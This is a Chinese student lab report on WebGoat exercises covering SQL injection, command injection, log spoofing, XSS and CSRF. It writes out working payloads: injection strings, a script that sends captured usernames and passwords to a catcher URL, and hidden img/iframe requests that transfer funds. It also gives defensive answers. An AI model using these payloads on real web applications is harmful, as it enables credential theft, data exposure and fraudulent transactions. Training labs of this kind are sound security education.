zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175305张天钰《网络对抗技术》Exp9 Web安全基础

    2019-2020-2 20175305张天钰《网络对抗技术》Exp9 Web安全基础


    一、知识储备

    • SQL注入
      通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
      就是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

    • XSS攻击
      跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。
      XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被骇客用来编写危害性更大的phishing攻击而变得广为人知。

    • CSRF攻击
      Cross Site Request Forgery跨站请求伪造
      CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中。攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证。只要攻击者能够得到Session,就可以伪装成被害者进入服务器。
      主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码。

    二、实践过程记录

    任务一:WebGoat安装

    因WebGoat默认使用8080端口,所以开启前先用netstat -tupln | grep 8080查看端口是否被占用,如果被占用,用kill 进程号终止占用8080端口的进程。
    普通安装,命令行输入java -jar webgoa t-container-7.0.1-war-exec.jar。
    浏览器转:localhost:8080/WebGoat 直接用默认用户名密码登录即可,开始练习。

    任务二:SQL注入攻击

    1.命令注入

    先在左侧点击Injection Flaws,Command Injection,再右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在复选框中任意一栏的代码,右键单击后,选择Edit At Html进行修改,添加"& netstat -an & ipconfig"
    点击view,可以看到执行指令后的网络端口使用情况和IP地址。攻击成功!

    2.日志欺骗
    点击Injection Flaws-Log Spoofing
    在User Name中填入webgoat%0d%0aLogin Succeeded for username: admin,利用回车0D%和换行符%0A让其在日志中两行显示
    输入密码后点击Login,可以看到webgoat在Login Fail那行显示,我们自己添加的语句在下一行显示。

    3.字符串注入String SQL Injection
    基于SELECT * FROM user_data WHERE last_name = '?'查询语句构造自己的SQL注入字符串,姓名框输入20175305' or 1=1--,执行后可以看到所有人的卡号等信息:

    4.LAB: SQL Injection
    在密码框输入' or 1=1 --,登录失败,会发现密码只有一部分输入,说明密码长度有限制。
    我们在密码框右键选择inspect Element审查网页元素对长度进行修改 。
    重新输入' or 1=1 --,登录成功。

    任务三:XSS攻击

    1. Phishing with XSS 跨站脚本钓鱼攻击
    一个带用户名和密码输入框的表格如下:

    <form>
    <br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
    Enter Username:<br><input type="text" id="user" name="user"><br> 
    Enter Password:<br><input type="password" name = "pass"><br> 
    </form><br><br><HR>
    

    在XSS-Phishing with XSS搜索上面代码,可以看到页面中增加了一个表单。

    现在我们需要一段脚本:

    <script>
    function hack()
    { 
        alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
        XSSImage=new Image; 
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
    }
    </script>
    

    这段代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。
    将上面两段代码合并搜索

    <script>
    function hack()
    { 
      alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
      XSSImage=new Image; 
      XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
    } 
    </script>
    <form>
    <br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
    Enter Username:<br><input type="text" id="user" name="user"><br> 
    Enter Password:<br><input type="password" name = "pass"><br>
    <input type="submit" name="login" value="login" onclick="hack()">
    </form><br><br><HR>
    

    我们在搜索到的表单中输入用户名和密码,点击登录,WebGoat会将输入的信息捕获并反馈给我们。

    2.存储型XSS攻击(Stored XSS Attacks)
    在title中任意输入字符,留言板中输入
    点击刚才输入的title,然后会弹出一个对话框,证明XSS攻击成功。

    3. Reflected XSS Attacks 反射型XSS攻击

    在Enter your three digit access code:中输入点击Purchase,成功显示警告框,内容为我们script脚本指定的内容。

    任务四、CSRF攻击

    1.Cross Site Request Forgery(CSRF)
    点击XSS-Cross Site Request Forgery(CSRF)
    查看页面右下方Parameters中的src和menu值.
    在Message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=520&menu=900&transferFunds=10000" width="1" height="1" />,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交(其中语句中的&transferFunds=10000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)
    输入任意Title,提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的10000元,从而达到CSRF攻击的目的。

    2. CSRF Prompt By-Pass
    点击XSS-CSRF Prompt By-Pass
    同上面的攻击,查看页面右下方的Parameters中的src和menu值,并输入任意的Title,message框中输入代码

    <iframe src="attack?Screen=536&menu=900&transferFunds=5000"> </iframe>
    <iframe src="attack?Screen=536&menu=900&transferFunds=CONFIRM"> </iframe>
    

    点击Submit生成以Title命名的链接,点击链接,攻击成功

    三、基础问题回答

    1.SQL注入攻击原理,如何防御?

    原理:
    应用程序会将输入带入后台的SQL查询语句
    Web应用对后台数据库查询语句处理存在的安全漏洞
    在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查
    后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果

    防御:
    使用正则表达式过滤传入的参数
    检查输入数据类型和格式,不允许用户输入'、--、#
    关闭或删除不必要的交互式提交表单页面
    不要在服务器端放置备份的文件以免受到感染,或备份的文件含有漏洞,造成切入点
    jsp中调用函数检查是否包函非法字符,做好规范的校验工作,比如搜索框不能输入非法字符、限制输入的长度等
    使用prepared statements语句绑定变量来执行SQL字符串

    2.XSS攻击的原理,如何防御?

    原理:
    XSS是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏。预防措施,防止下发界面显示html标签,把</>等符号转义防御手段

    防御:
    用户角度:提高防范意识,不要轻易输入个人信息,如用户名密码;
    网页制作者角度:
    对输入和URL参数进行过滤
    在输出数据之前对潜在的威胁的字符进行编码、转义

    3.CSRF攻击原理,如何防御?

    原理:
    CSRF :跨站请求伪造。
    CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.

    • 主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码

    防御:
    验证请求中的Token
    验证 Referer
    添加加随机验证
    设定cookie域

    四、实验总结与体会

    这次实验学习了SQL注入攻击、XSS攻击和CSRF攻击,本次实验的难点在于webgoat的使用。在webgoat的列表中有很多的模块,知识点非常多,理解起来怎么说呢,感觉有意思却又晦涩,哈哈还是得慢慢学习,终于课程要求的实验做完啦,感觉非常充实,收获最大的就是如何自己一个人动手解决各种各样的难题。

  • 相关阅读:
    android git问题File not found: git.exe
    asp.net 连接数据库的问题总结
    asp.net记账本
    asp.net对数据库增删改操作
    asp.net 连接数据库操作
    第九、十周周记
    作业四-兴趣问题清单
    价值观作业
    第七周周记
    第三次作业问卷调查
  • 原文地址:https://www.cnblogs.com/zhangtianyu/p/12995540.html
Copyright © 2011-2022 走看看